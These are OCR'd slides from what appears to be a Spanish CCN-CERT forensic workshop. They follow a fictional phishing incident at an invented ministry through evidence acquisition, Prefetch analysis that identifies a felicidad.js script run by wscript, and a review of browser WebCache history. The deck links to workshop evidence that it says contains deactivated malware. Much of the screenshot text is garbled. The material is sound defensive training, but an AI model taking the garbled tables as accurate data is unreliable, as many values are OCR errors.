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<
IIAdvertencial!l
= Hay malware entre las evidencias
= Esta MUY desactivado
= .. pero no te fies de NADIE
» Consejo: Haz este taller desde una
maquina virtual BIOLOGICAL
HAZARD
\ ==
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Evidencias para el taller

https://loreto.ccn-
cert.cni.es/index.php/s/DG40EFRS|Kini94k
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Captura de evidencias en incidentes complejos: https://vanesa.ccn-
cert.cni.es/userportal/#/player/vod/Ud1b1cb038d3f4d59a2642abd9ed
0d890

’Q

Q) /vanesa>

— g
PLATAFORMA DE GRABACIONES
Y EMISIONES ONLINE

INCIDENTES COMPLEJOS.
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SEGURIDAD

Caso practico: Analisis forense paso a paso
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MINAF: Ministerio de la Alegriay la Felicidad

#HAPPYDAY

GOBIERNO MINISTERIO DE LA FELIZ DIA INTERNACIONAL DE LA FELICIDAD

DE ESPANA" A| EGRIA Y LA FELICIDAD V

* Este Ministerio (por desgracia) es ficticio

Un dia cualguiera en un ministerio cualquiera ...
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Deteccidn del incidente

Maria Feliz, Subdirectora General de
Festejos del MINAF

Se queja de que su correo hace
‘cosas raras”

Analisis inicial: acceso desde |P
desconocidas a su webmail
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Deteccidn del incidente

= Se detectan accesos a otras
cuentas de altos cargos

» Paciente cero: Pepe Contento
(Subdirector General Adjunto de
Alborozo del MINAF)

= Se solicita un analisis forense de su
equipo. Se obtiene consentimiento
del usuario para examen completo
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Timeline del incidente
3/Nov 11h: Acceso a la

cuenta de Pepe Contento

3/Nov 11 a 16h : Acceso a otras 7
cuentas de correo

O O O
|

. . 3/Nov 16h: Deteccion

del incidente
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Timeline: inicio de los eventos sospechosos

= Primer acceso al correo: alrededor de las 11:00h
: Usarslempre horas UTC
o Espana UTC+1 (en verano UTC+2)

|
i‘

- B \\
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Adquisicion de evidencias

= Volcado de RAM: winpmem
= Datos de triage: CYLR
= Clonado del disco: DEFT LiveCD + dc3dd
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SEGURIDAD

Entorno sintético en la nube
IUSB - Disco afiadido a VM ,
Jump the shark with me © ; RS
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R GURIEAD Se documenta la adquisicién oo cerf

Ficha de Adquisicidn de evidencias

Caso: MINAF-BB23

Nimero de adquisicidn: MINAF-8823-861

Fecha de captura: 83/11/2818

Hora de captura: 16:88h
* Persona que realiza la adquisicidn: Salvador Bendito (técnico de sistemas
de la subdireccidén TIC del MINAF)
* Personas presentes durante la adquisicidn: José Contento (Subdirector General
adjunto de Alborozo del MINAF), Angela de la Guarda (responsable de seguridad de la
subdireccidon TIC del MINAF)
* Equipo adquirido: MIMAF-PC1, IP 16.11.8.11
* Evidencias adgquiridas: Volcado de memoria a través de la herramienta winpmem,
datos de triage a partir de la herramienta CyLR.
* Ficheros de evidencia:

MINAF-PCl.zip
MD5 al5act19845c1f92a7b2eet46eledads
SHAT fab756das58dec7584574d7d73d62adf4e82bf16
"W W SHAZ56 956bl1366851688Te253deb3T1417d013c240811ddo948dble2c96ffddbbdebclb2
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Se verifican los hashes
.— HashMyFiles _LE o5 B |

File Edit View Options Help

a0 @Q| EHEEE QA

| Filename ¢ MD5 S5HAL CRC32
1 MINAF-PCL.zip al5acfl9045c1f92a7 beef4bel eddd5 fab756dab58dbc7584574d7d753d62adfdellb...  7934b351
1 MINAF-PC1 _Triage.zip  b52276522f5cbec?f3fd5h300092€151 454b8d3fel2eal T8cT825119062c5c505dch54...  ceadlbll
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Paso 1: Prefetch

= Precompilacion de apps de Windows

Objetivo: carga mas rapida de las apps

= Windows XP+ (no aplica en servidores o en SSD)
= Andlisis: Ver qué se ha ejecutado en un sistema
Tool: WinPrefetchView
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Eile Edit View Options Help

Paso 1: Prefetch
B DI ==

4
<entro criptolégico nacional

B = IEEY=ENE |

Filename

[ USERINIT.EXE-F39ABGT2. pf
(B IEXPLORE.EXE-1B894 AFB. pf
[ WMIAPSRY.EXE-576286C3.pf

L OUTLOOK.EXE-FABOFELT.pf

Created Time

03/11/2018 10:01:34
03/11/2018 10:01:44
03/11/2018 10:03:46
03/11/2018 10:04:18

Modified Time

03/11/2018 10:01...
03/11/2018 10:01...
03/11/2018 10:03...
03/11/2018 10:04...

File Size
29,856
102646
31.232

Process EXE
USERINIT.EXE
IEXPLORE.EXE
WMIAPSRY.EXE
OUTLOOK.EXE

Process Path

YDEVICEWHARDDISKWVOLUMEINWIND OWS\,...

YDEVICE\HARDDISKVOLUMEL\PROGRAM F...

4 DEVICE\HARDDISKWVOLUMELNWIND OWS\,...

\DEVICE\HARDDISKVOLUMEL\PROGRAM F...

Run Counter
5

2

27

Last Run Time

03/11/2018 10:01:24
03/11/2018 10:01:34
03/11/2018 10:03:36
03/11/2018 10:04:09

(=71 DLLHOST.EXE-BBES B3DE.pf 03/11/2018 10:04:30 03/11/2018 10:04...  30.626 DLLHOST.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS\... 23 03/11/2018 10:04:25

(2] QSPPSVC EXE-FFAL5043.pf 03/11/2018 10:04:36 03/11/2018 10:04.., 61334 OSPPSVC.EXE YDEVICE\HARDDISKVOLUMEL\PROGRAMF... 2 03/11/2018 10:04:26

(2] SEARCHPROTOCOLHOST.EXE-ESDG41 DD pf 03/11/2018 10:04:36 03/11/2018 10:04... 18.556 SEARCHPROTOC..  \DEVICE\HARDDISKVOLUMEL\WINDOWS\.., 31 03/11/2018 10:04:26

(25 WSCRIPT.EXE-65A9658F.pf 03/11,/2018 10:05:12 03/11/2018 10:05... 47.654 WSCRIPT.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 1 03/11/2018 10:05:03

(2] RUNDLL32.EXE-T45DEALE.pf 03/11,/2018 10:05:26 03/11/2018 10:05... 43.556 RUMDLL32 EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 1 03/11/2018 10:05:16

(B MET.EXE-1DF3A2F6. pf 03/11,/2018 10:06:36 03/11/2018 10:06... 10.846 MNET.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 1 03/11/2018 10:06:37 E|
(B METL.EXE-B8AB247B. pf 03/11/2018 10:06:36 03/11/2018 10:06... 13412 MET1.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 1 03/11/2018 10:06:37

(251 DLLHOST.EXE-893DDFS5. pf 03/11/2018 10:09:16 03/11/2018 10:09... 49.382 DLLHOST.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS\... 18 03/11/2018 10:09:11

(2] OSE EXE-SCAOFBET pf 03/11/2018 10:09:18 03/11/2018 10:09... 11.630 OSE.EXE YDEVICE\HARDDISKVOLUMEL\PROGRAMF... 1 03/11/2018 10:09:09

(251 READER_SL.EXE-EC4CA36D. pf 03/11/2018 10:11:42 03/11/2018 10:11... 1.638 2 03/11/2018 10:11:32

(251 RUNDLL32.EXE-D40FB18A.pf 03/11,/2018 10:14:26 03/11/2018 10:14... 30.774 RUMDLL32 EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 2 03/11/2018 10:14:26
':"i...__.____.___.._____ - e e e e e - e mm e o . . i.r?__- S e e e e e e e e e .o - |__--.-_.._ [ -
Filename Full Path Device Path Inc
[ SMFT \DEVICE\HARDDISKVOLUMEL\SMFT 47
(= MSOINTL.DLL \DEVICE\HARDDISKWVOLUMEL\PROGRAM FILES (X86)\COMMOM FILES\MICROSOFT SHAREDNOFFICEL4Y 3082\ MSOINTL.DLL 52
[ csipLL \DEVICE\HARDDISKVOLUMEL\PROGRAM FILES (X86)\ COMMON FILES\MICROSOFT SHAREDNOFFICEL4NCSLDLL 56
(=" OFFICE.ODF YDEVICE\HARDDISKVOLUMEL\PROGRAM FILES (X86)\ COMMOMN FILES\MICROSOFT SHAREDN OFFICEL4\CULTURES\OFFICE.QDF 36
=7 ms0.DLL Y DEVICE\HARDDISKWVOLUMEL\PROGRAM FILES (X86)\COMMOM FILES\MICROSOFT SHAREDY OFFICELA\MSO.DLL 34
(B MSORES.DLL YDEVICE\HARDDISKWVOLUMEL\PROGRAM FILES (X86)\COMMOMN FILES\MICROSOFT SHAREDY OFFICEL4\MSORES.DLL 49
(=71 RICHED20.DLL YDEVICE\HARDDISKVOLUMEL\PROGRAM FILES (XBE)\COMMOM FILES\MICROSOFT SHAREDNOFFICEL4\RICHED20.DLL 60
= 0sPPC.DLL YDEVICE\HARDDISKWVOLUMEL\PROGRAM FILES (X860 COMMOM FILES\MICROSOFT SHAREDNOFFICESOFTWAREPROTECTIONPLATFORMYWOSPPC.DLL 57
(=5 MAPIR.DLL YDEVICE\HARDDISKVOLUMEL\PROGRAM FILES (XBE)NMICROSOFT OFFICENOFFICELA 3082\ MAPIR.DLL 62
" QUTLLIBR.DLL YDEVICE\HARDDISKWVOLUMEL\PROGRAM FILES (X86)\MICROSOFT OFFICE\OFFICE14%30824OUTLLIER.DLL 48
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Eile Edit View Options Help
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Paso 1: Prefetch

,
CTE=E e S

| X E[E e E A

Filename

(5] USERINIT EXE-F39AB672.pf
(2] [EXPLORE.EXE-1B8O4AFE. pf
[ WMIAPSRY.EXE-576286C3.pf
[E OUTLOOK.EXE-FABOFELT.pf

Created Time Modified Time File Size Process EXE Process Path Run Counter Last Run Time
03/11/2018 10:01:34 03/11/2018 10:01... 29.856 USERINIT.EXE YDEVICE\HARDDISKVOLUMELVWINDOWSh... 5 03/11/2018 10:01:24
03/11/2018 10:01:44 03/11/2018 10:01... 102,646 IEXPLORE.EXE YDEVICE\HARDDISKVOLUMEL\PROGRAM F... 2 03/11/2018 10:01:34

31.232 WMIAPSRV.EXE

OUTLOOK.EXE

03/11/2018 10:03:36
03/11/2018 10:04:09

\DEVICE\HARDDISKVOLUMEINWINDOWS... 27
\DEVICE\HARDDISKV OLUMEL\PROGRAM F...

03/11/2018 10:03:46
03/11/2018 10:04:18

03/11/2018 10:03...
03/11/2018 10:04...

("7 DLLHOST.EXE-BBES B3DE.pf 03/11/2018 10:04:30 03/11/2018 10:04... 30,626 DLLHOST.EXE SDEVICE\HARDDISKVOLUMELYWINDOWS,... 23 03/11/2018 10:04:25

=] OSPPSVC.EXE-FFALS0A3 pf 03/11/2018 10:04:35 03/11/2018 10:04... B1.334 OSPPSVC.EXE 4 DEVICE\HARDDISKVOLUMEL\PROGRAM F... 2 03/11/2018 10:04:26

B SEARCHPROTOCOLHO AE-E2D04 1D o 03/11/2018 10:04:36 03,/11/2018 10:04 8,556 ARCHPROTO DEVICE\HARDDISKY OLUMETYWIND O 03/11/2018 10:04:26
@WSCRIPT.EXE-&SAQ&SEF.pf 03/11/2018 10:05:12 03/11/2018 10:05... 47.654 WSCRIPT.EXE DEVICE\HARDDISKVOLUMELYWINDOWS,... 1 03/11/2018 10:05:03

(W RUNDLL32.EXE-T45DEALE. pf 03/11/2018 10:05:26 03/11/2018 10:05... 43.556 RUMNDLL32.EXE DEVICE\HARDDISKVOLUMELNWINDOWS,... 1 03/11/2018 10:05:16 i
(57 NET.EXE-1DF3A2F6. pf 03/11/2018 10:06:36 03/11/2018 10:06... 10.846 MET.EXE S DEVICE\HARDDISKVOLUMELYWINDOWS,... 1 03/11/2018 10:06:37 H
87 METL.EXE-BE8AB247E pf (032/11/2018 10:06:35 03/11/2018 10:06.., 13.412 MET1.EXE DEVICE\HARDDISKVOLUMELYWINDOWS!... 1 03/11,/2018 10:06:37

= DLLHOST.EXE-893DDF55. pf 03/11/2018 10:09:16 03/11/2018 10:09... 49.382 DLLHOST.EXE YDEVICE\HARDDISKVOLUMEL\WINDOWS,... 18 03/11/2018 10:09:11

[m7] OSE.EXE-5 CADFBGT.pf 03/11/2018 10:09:18 03/11/201810:09... 11.630 OSE.EXE DEVICE\HARDDISKVOLUMELNPROGRAMF... 1 03/11,/2018 10:09:03

CE| READER_SL.EXE-EC4CA3GD.pf 03/11/2018 10:11:42 03/11/2018 10:11... 1638 2 03/11/2018 10:11:32

CE| RUNDLL32.EXE-D40FB18A.pf 03/11/2018 10:14:26 03/11/2018 10:14... 30774 RUMNDLL32.EXE SDEVICE\HARDDISKVOLUMEL\WINDOWS,... 2 03/11/2018 10:14:26 il
'7["'"'""""' — T I B — - T T »
Filename Full Path Device Path Inc[ =
551 SMFT \DEVICE\HARDDISKVOLUMEL\SMFT 47|=
(W7 MSOINTL.DLL SWDEVICE\HARDDISKVOLUMELYWPROGRAM FILES (XB&NCOMMOM FILES\MICROSOFT SHAREDY OFFICEL4 30824 MSOINTL.DLL 52
(B CsLDLL S\DEVICE\HARDDISKVOLUMEL\PROGRAM FILES (X88\COMMON FILES\MICROSOFT SHARED' OFFICEI4, CSLDLL 56
(=5 OFFICE.ODF SDEVICEV\HARDDISKVOLUMEL\PROGRAM FILES (X86\COMMOM FILES\MICROSOFT SHARED, OFFICEI4\ CULTURES\OFFICE.ODF 36
"7 Ms0.DLL YDEVICE\HARDDISKVOLUMELYPROGRAM FILES (X86)\COMMOM FILES\MICROSOFT SHAREDNOFFICEL4YMSO.DLL 34
(w7 MSORES.DLL WDEVICE\HARDDISKVOLUMELYPROGRAM FILES (X86)\COMMOM FILES\MICROSOFT SHAREDNOFFICEL4Y MSORES.DLL 49
[F71RICHED20.DLL WDEVICE\HARDDISKVOLUMEL\PROGRAM FILES (X86\COMMOM FILES\MICROSOFT SHARED OFFICE1I4 RICHED20.DLL 60
[ QsPPC.OLL SDEVICE\HARDDISKVOLUMEL\PROGRAM FILES (X86)\COMMOM FILES\MICROSOFT SHARED\ OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL 57
(=5 MAPIR.DLL YDEVICEV\HARDDISKVOLUMEL\PROGRAM FILES (XB6\MICROSOFT OFFICE\OFFICEL4%3082' MAPIR.DLL 62
[m1QUTLLIBR.OLL WDEVICE\HARDDISKEVOLUMELVPROGRAM FILES (X86)\MICROSOFT OFFICENOFFICELI4% 30824 OUTLLIBR.DLL 48
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File Edit View Options Help
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Filename

87 USERINIT.EXE-F39AB672.pf
(57 1EXPLORE EXE-1B894AFE. pf
5] WIMLAPSRY.EXE-576286 C3.pf
[ QUTLOOK.EXE-FABOFELT.pf
[8] DLLHOST EXE-BBBSB3DE.pf
(5] OSPPSVIC.EXE-FFALS0A3.pf
[8] SEARCHPROTOCOLHOST.EXE-ESDE41DD. pf

CE WSCRIPT.EXE-65A9658F.pf

Created Time

03/11/2018 10:01:34
03/11/2018 10:01:44
03/11/2018 10:03:46
03/11/2018 10:04:18
03/11/2018 10:04:30
03/11/2018 10:04:36
03/11/2018 10:04:36
03/11/2018 10:05:12

Madified Time

03/11/2018 10:01....
03/11/2018 10:01...
03/11/2018 10:03...
03/11/2018 10:04...
03/11/2018 10:04...
03/11/2018 10:04...
03/11/2018 10:04...
03/11/2018 10:05...

File Size

29856
102646
31.232
88132
30626
61.334
18.556

Process EXE

USERINIT.EXE
IEXPLORE.EXE
WMIAPSRV.EXE
OUTLOOK.EXE
DLLHOST.EXE
OSPPSVC.EXE

SEARCHPROTOC...

WSCRIPT.EXE

Process Path

WDEVICE\HARDDISKVOLUMEL\WINDOWS\,..

\DEVICE\HARDDISKVOLUMEL\PROGRAM F..,

WDEVICE\HARDDISKVOLUMEL\WINDOWS\,..

\DEVICE\HARDDISKVOLUMEL\PROGRAM F..,

WDEVICE\HARDDISKVOLUMEL\WINDOWS\,..

\DEVICE\HARDDISKVOLUMEL\PROGRAM F..,

WDEVICE\HARDDISKVOLUMEL\WINDOWS\,..

\DEVICE\HARDDISKVOLUMEL\WINDOWSH,..

Run Counter
5

2

27

—=

Last Run Time

03/11/2018 10:01:24
03/11/2018 10:01:34
03/11/2018 10:03:36
03/11/2018 10:04:09
03/11/2018 10:04:25
03/11/2018 10:04:26
03/11/2018 10:04:26
03/11/2018 10:05:03

[2 RUMDLL32.EXE-T4SDEALE. pf 03/11/2018 10:05:26 03/11/2018 10:05... 43.556 RUMNDLL32.EXE \DEVICE\HARDDISEVOLUMEL\WINDOWS,... 1 03/11/2018 10:05:16

[=7 NET.EXE-1DF3A2FE. pf 03/11/2018 10:06:36 03/11/2018 10:06... 10846 MNET.EXE \DEVICE\HARDDISEVOLUMEL\WINDOWS\... 1 03/11/2018 10:06:37 =
(21 MET1,EXE-BBAR247B. pf 03/11/2018 10:06:36 03/11/2018 10:06... 13412 MNET1.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS\... 1 03/11/2018 10:06:37

[= DLLHOST EXE-833DDF55 pf 03/11/2018 10:09:16 03/11/2018 10:09... 49.382 DLLHOST.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS\... 18 03/11/2018 10:09:11

[ OSE.EXE-SCAOFBET. pf 03/11/2018 10:09:18 03/11/2018 10:09... 11.630 OSE.EXE \DEVICE\HARDDISKVOLUMEL\PROGRAM F... 1 03/11/2018 10:09:09

["| READER_SL.EXE-EC4CA3GD.pf 03/11/2018 10:11:42 03/11/201510:11... 1.638 2 03/11/2018 10:11:32

(= RUNDLL32, EXE-D40FB18A.pf 03/11/2018 10:14:26 03/11/2018 10:14... 30774 RUMDLL32.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS\... 2 03/11/2018 10:14:26 i
l:"i...__. e - o er i mm = - e e m- - . amm e am o .”;__ e e o e e mm i e mmmam i i ie e e i e ams - |.- BT - em e e m- -
Filename Full Path Device Path Inc *
["7 FELICIDAD.JS YDEVICE\HARDDISKVOLUMEL\USERS\PEPE.CONTENTO.MINAFAPPDATA\LOCAL\MICROSOFTVWINDOWS\ TEMPORARY INTERNET FILES\COMNTENT IES\TJIEAWIDA\FELICIDAD.JS 30|
["5] COUNTERS.DAT Y\DEVICE\HARDDISKVOLUMEL\USERS\PEPE.CONTENT O.MINAFPAPPDATA\LOCAL\MICROSOFTVWINDOWS\TEMPORARY INTERMET FILES\COUNTERS.DAT 63|
(57 SORTDEFAULT.NLS 4 DEVICE\HARDDISKVOLUMEL\WINDOWS\GLOBALIZATION\SORTINGYSORTDEFAULT.NLS 23
(=1 RODDD0NO0NN0G. CLE Y DEVICE\HARDDISEVOLUMEL\WINDOWS\REGISTRATIONY RO00000000006.CLE 27
(= ADvAPE2.DLL YDEVICE\HARDDISKVOLUMEL\WINDOWS\SYSTEM32\ADVAPLR2.DLL 4]
[T APT-PAS-WIN-DOWNL... \DEVICE\HARDDISKVOLUMELVWINDOWS\SYSTEM32VAPT-MS5-WIN-DOWNLEVEL-ADVAPIS2-11-1-0.DLL 50
[ APT-MS-WIN-DOWML... YDEVICE\HARDDISKVOLUMELVWINDOWS\SYSTEM32VAPT-M5-WIN-DOWNLEVEL-ADVAPIZ2-12-1-0.DLL 62
[T APT-PAS-WIN-DOWNL... YDEVICE\HARDDISKVOLUMEL\WINDOWS\SYSTEM32VAPT-M5-WIN-DOWMNLEVEL-NORMALIZ-11-1-0.DLL 53
[ APT-MS-WIN-DOWML... YDEVICE\HARDDISEVOLUMEL\WINDOWS\SYSTEM32VAPI-M5-WIN-DOWMNLEVEL-OLE32-11-1-0.DLL 48
[T ADT-RAC TR THWOVRIN ADNEVTICEL HARMDDTSEYO HBAETVWIN DOWSL SYETEMM 2 APT-RAS-WIR-DOWER EVEL -SHI WAPT-11-1-01 | F[+]
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File Edit View Options Help

Paso 1: Prefetch

4
<entro criptolégico nacional

(X E R g YA

Filename

(571 USERINIT.EXE-F39AB6T2. pf
[ IEXPLORE.EXE-1B894 AFB. pf
[ WMIAPSRY.EXE-576286C3.pf
[ OUTLOOK.EXE-FABOFELT pf
[ DLLHOST.EXE-BEBBB3DE.pf
[ OSPPSVC EXE-FFALS0A3.pf
[0 SEARCHPROTOCOLHOST EXE-ESDA41DD. pf

CE WSCRIPT.EXE-65A9658F pf

Created Time

03/11/2018 10:01:34
03/11/2018 10:01:44
03/11,/2018 10:03:46
03/11/2018 10:04:18
03/11/2018 10:04:30
03/11/2018 10:04:36
03/11,/2018 10:04:36
03/11,/2018 10:05:12

Madified Time

03/11,/2018 10:01...
03/11/2018 10:01...
03/11/2018 10:03...
03/11,/2018 10:04...
03/11,/2018 10:04...
03/11/2018 10:04...
03/11/2018 10:04...
03,/11,/2018 10:05...

File Size
29.856
102,646
31.232
88132
30.626
61334
18.556

Process EXE
USERIMIT.EXE
[EXPLORE.EXE
WMIAPSRV.EXE
OUTLOCK.EXE
DLLHOST.EXE
OSPPSVC.EXE

SEARCHPROTOL...

WSCRIPT.EXE

Process Path
4 DEVICE\HARDDISKV OLUMEL\WINDOWS....

YDEVICE\HARDDISKVOLUMEL\PROGRAM F...

Y DEVICE\HARDDISKWVOLUMELNWIND OWS\,...

YDEVICE\HARDDISKVOLUMELNPROGRAM F...

YDEVICE\HARDDISKVOLUMEL\WIND OWS\..

YDEVICE\HARDDISKVOLUMEL\PROGRAM F...

\DEVICE\HARDDISKVOLUMET\WINDOWS\,...
YDEVICE\HARDDISKVOLUMEL\WINDOWS\...

Run Counter
5

2
27

—_

Last Run Time

03/11/2018 10:01:24
03/11/2018 10:01:34
03/11/2018 10:03:36
03/11/2018 10:04:09
03/11/2018 10:04:25
03/11/2018 10:04:26
03/11/2018 10:04:26
03/11/2018 10:05:03

71 RUNDLL32.EXE-T45DEALE. pf 03/11/2018 10:05:26 03/11/2018 1005... 43.55 RUNDLL32.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS)... 1 03/11/2018 10:05:16
87 NET.EXE-1DF2A2F6 pf 03/11/2018 10:06:36 03/11/2018 1006... 10846 NET.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS\... 1 03/11/2018 10:06:37 _
8] NETL EXE-BSAB247B.pf 03/11/2018 10:06:36 03/11/2018 1006... 13412 NETL.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS ... 1 03/11/2018 10:06:37
7 DLLHOST.EXE-893DDFS5.pf 03/11/2018 10:09:16 03/11/201810:09... 49.382 DLLHOST.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS\,.. 18 03/11/2018 10:09:11
57 OSE EXE-5CADFBS7.pf 03/11/2018 10:09:18 03/11/2018 10:00... 11630 OSE.EXE \DEVICE\HARDDISKVOLUMEL\PROGRAM F... 1 03/11/2018 10:09:09
87 READER_SL.EXE-ECACA36D. pf 03/11/2018 10:11:42 03/11/20181011... 1638 2 03/11/2018 10:11:32
| RUNDLL32.EXE-D40FBLSA.pf 03/11/2018 10:14:26 03/11/2018 10:14... 30774 RUNDLL32.EXE \DEVICE\HARDDISKVOLUMEL\WINDOWS ... 2 03/11/2018 10:14:26 i
':"i...__..___..__.._____ - o e e e e e ."?___ [ e e e e e e e emee e e e e o e - |_—----_.._ [ P
Filename Full Path Device Path Inc =
5] FELICIDAD.IS \DEVICE\HARDDISKVOLUMET\USERS\PEPE.CONTENTO.MINAF\APPDATA\LOCAL\MICROSOFT\WINDOWS\ TEMPORARY INTERNET FILES\CONTENT IES\7JIEAWSD\FELICIDAD.S | 30| _
57 COUNTERS.DAT \ DEVICE\HARDDISKVOLUME1\ USERS\PEPE. CONTENTO.MINARVAPPDATAVLOC AL\MICROSOFT\WINDOWS\ TEMPORARY INTERNET FILES\COUNTERS.DAT 63|
R TSORTDEFAULT.NS VI ARD OISRy OLLMET IND OV o Gl OBALIZ AT SO TING SOR TP AULT LS 23
2 ROG0000000006. CLE \ DEVICE\HARDDISKVOLUMEL\WIND OWS\REGISTRATION\RO00000000006. CLE 27
] ADVAPB2.DLL \DEVICE\HARDDISKVOLUMEL\WIND OWS\SYSTEM32\ADVAPE2.DLL 6
5 APL-MS-WIN-DOWNL... \DEVICE\HARDDISKVOLUMEL\WIND OWS\SYSTEM3 2 APL-MS-WIN-DOWNLEVEL-ADVAPB2-11-1-0.0LL 50
5] APL-MS-WIN-DOWHIL... \ DEVICE\HARDDISKVOLUMEL\WIND OWS\SYSTEM3 24 APL-MS-WIN-DOWNLEVEL-ADVAPB2-12-1-0.0LL 62
[ APL-MS-WIN-DOWHL... \ DEVICE\HARDDISKVOLUMEL\WIND OWS\SYSTEM32\API-MS-WIN-DOWNLEVEL-NORMALIZ-L1-1-0.DLL 53

\ DEVICE\HARDDISKVOLUMELWIND OWS\SYSTEM3 2\ API-MS-WIN-DOWNLEVEL-OLE32- 11-1-0.0LL 48

[ APT-MS-WIN-DOWNL...

= AT RAC VATRT Myt A TR

AP AL LI A P ETELL T T IR ACT S LA TR M I ACY CAVETER AT AT R AC TAMERT Py ia ikl CWEl CLITAPART 14 4 Al
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Paso 1: Prefetch

» Se ha ejecutado una instancia de wscript.exe
= Se ha ejecutado el script felicidad.js desde IE

= QOutlook.exe aparece muy cercano
temporalmente
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= |OC: Presencia del fichero felicidad.js en un
equipo de usuario

= Deteccion: Script que liste los ficheros del
usuario y busque el fichero

= Truco: Desplegar script via GPO, volcar
resultados a una unidad compartida
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Paso 2: Historial de navegacion web

= Guardado en el perfil de cada usuario
= Muestra navegacion, busquedas, cache
= [E10+ > WebCache

= Webcache = ESE Database

= Tool: ESEDatabaseView.exe
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CIBER_ C
Paso 2 : Historial web

SEGURIDAD

4
<entro criptolégico nacional

"5 ESEDatabaseView: C:AUsers\antonic\Desktop\Forense_MINAF\Paso3_HistorialWeb\WebCache _pepe.cuntenlo\WehCadleVO]..d_ [

File Edit View Options Help

PRE L=E A

[Conminers [Table ID =9, 14 Columns] -

Containerld +  Setld Flags Size Lirnit LastAccessTime Name Partitionld Directory

@1 0 79 09938744 262144000 131857119531624411 Content M ChUsers\pepe.contento MINAFAppDatat Local\Microsoft\Windows\ Temporary Internet Files\ContentJESY
@2 0 68 0 1024 131857119530843396  History M Ch\Users\pepe.contento MINAP AppData\ Local\Microsoft\Windows\Histony Histony JES\

@3 4] 65 1] 1024 131805430898279062 feedplat ] Ch\Users\pepe.contento. MINAP AppData’Local\Microsoft\Feeds Cachel,

@4 0 192 54772 1024 131857119532093020 Cookies M Ch\Users\pepe.contento. MINAFAppData\RoamingiMicrosoft\Windows\ Cookies\,

@5 0 112 0 1024 131857119531155802  iecompat M ChUsers\pepe.contento, MINAFAppDatalRoamingMicrosoft\Windows\IECompatCachel

D6 0 12 0 1024 131857119531155802  iecompatua M Ch\Users\pepe.contento. MINAFAppData\RoamingiMicrosoft\Windows\iecompatuaCache\,

@7 4] 113 1] 1024 131857119527406930 DMTException ] Ch\Users\pepe.contento. MINAP\ AppData\Roaming\Microsoft\Windows\DNTException’,

o8 0 13 0 1024 131857119530843396  EmieSitelist M Ch\Users\pepe.contento. MINAF\AppData\Local\MicrosoftiInternet Exploref\EmieSitelisth,

o9 0 113 0 1024 131857119530993539  Emiellserlist M ChUsers\pepe.contento MINAFAppDatal Local\Microsoft\Internet Explorer\EmielserListy

@10 0 65 286 1024000  131857119545526478 DOMStore M ChlUsers\pepe.contento MINAF AppData\ Local\Microsoft\Internet Explorer\DOMStorel,

@15 4] 64 1] 1024 131857130999564348  iedownload ] Ch\Users\pepe.contento. MINAP AppData\Roaming\Microsoft\Windows\IEDownloadHistory,

@20 0 64 0 1024 131857119568605519  MSHistD12018110320181104 M Ch\Users\pepe.contento. MINAR\AppDatat Local\Microsoft\Windows'\History\ History JES\M5Hist012018110320181104"

< |

12 record(s) NirSoft Freeware. http:diwww.nirsoft.net
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4
<entro criptolégico nacional

SEGURIDAD

L] [)
Paso 2 : Historial web
[ 2 ESEDatabaseView: C\Users\antonic\Desktop\Forense_MINAF\Paso3_HistorialWeb\WebCache _pepe.cuntento\WehCadle\"Ol.dat— Elélg\

File Edit View Options Help

=R E NN e |

[Conminer_?_ [Table ID = 12, 25 Columns]

-

4

29/11,/2018 9:58:06

29/11/2018 10:19:03
29/11/2018 10:19:21
29/11/2018 10:19:21
29/11/2018 10:19:21
29/11/2018 10:27:10

29/11/2018 10:27:26
29/11/2018 10:27:33
29/11/2018 10:27:33
29/11/2018 10:27:33
29/11/2018 10:27:33
29/11/2018 10:27:34

03/11/2018 10:05:16
03/11/2018 10:19:03
03/11/2018 10:19:21
03/11/2018 10:19:21
03/11/2018 10:19:21
03/11/2018 10:34:20
03/11/2018 10:34:36
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:44

03/11/2018 10:05:16
03/11/2018 10:19:03
03/11/2018 10:19:21
03/11/2018 10:19:21
03/11,/2018 10:19:21
03/11/2018 10:34:20
03/11/2018 10:34:36
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:43
03/11/2018 10:34:44

oo o o O o o O o o ol O O O o o O O

05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 22:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03
05/05/1829 23:50:03

L

oo o0 o o0 o000 00 0l-alo o 00000 o

Visited:
Visited:
Visited:
Visited:
Visited:
Visited:
: pepe.contento@https//secure-ds.serving-sys.com/BurstingRes/Site-116748/W5Folders/9837813//in
Visited:
Visited:
Visited:
Visited:
Visited:

Visited

nTime ExpiryTime ModifiedTime AccessedTime PostCheckTime SyncCount ExemptionDelta  Url i
29/11/2018 10:04:25 03/11/2018 10:04:25 03/11/2018 10:04:25 05/05/1829 23:50:03 Visited: pepe.contento@file:///C:/Users/pepe.contente, MINAF/AppData/Local/Microsoft/Windows/Tempor
29/11/2018 10:04:33  03/11/2018 10:04:33  03/11/2018 10:04:33 05/05/1829 23:50:03 Visited: pepe.contento@https://googleads.g.doubleclick.net/xbbe/pixelTd=CNKImAEQ_LSZARIZZEBGMAES
291172018 10:04:33  03/11/2018 10:04:33  03,/11/2018 10:04:33 05/05/1829 23:50:03 Visited: pepe.contento@https://securepubads.g.doubleclick.net/gampad/ads?gdfp_req=1&glade_req=18.gl
29/11/2018 10:04:33  03/11/2018 10:04:33  03/11/2018 10:04:33 05/05/1829 23:50:03 Visited: pepe.contento@https://eus.rubiconproject.com/usync.html?Bigec=eulico=es
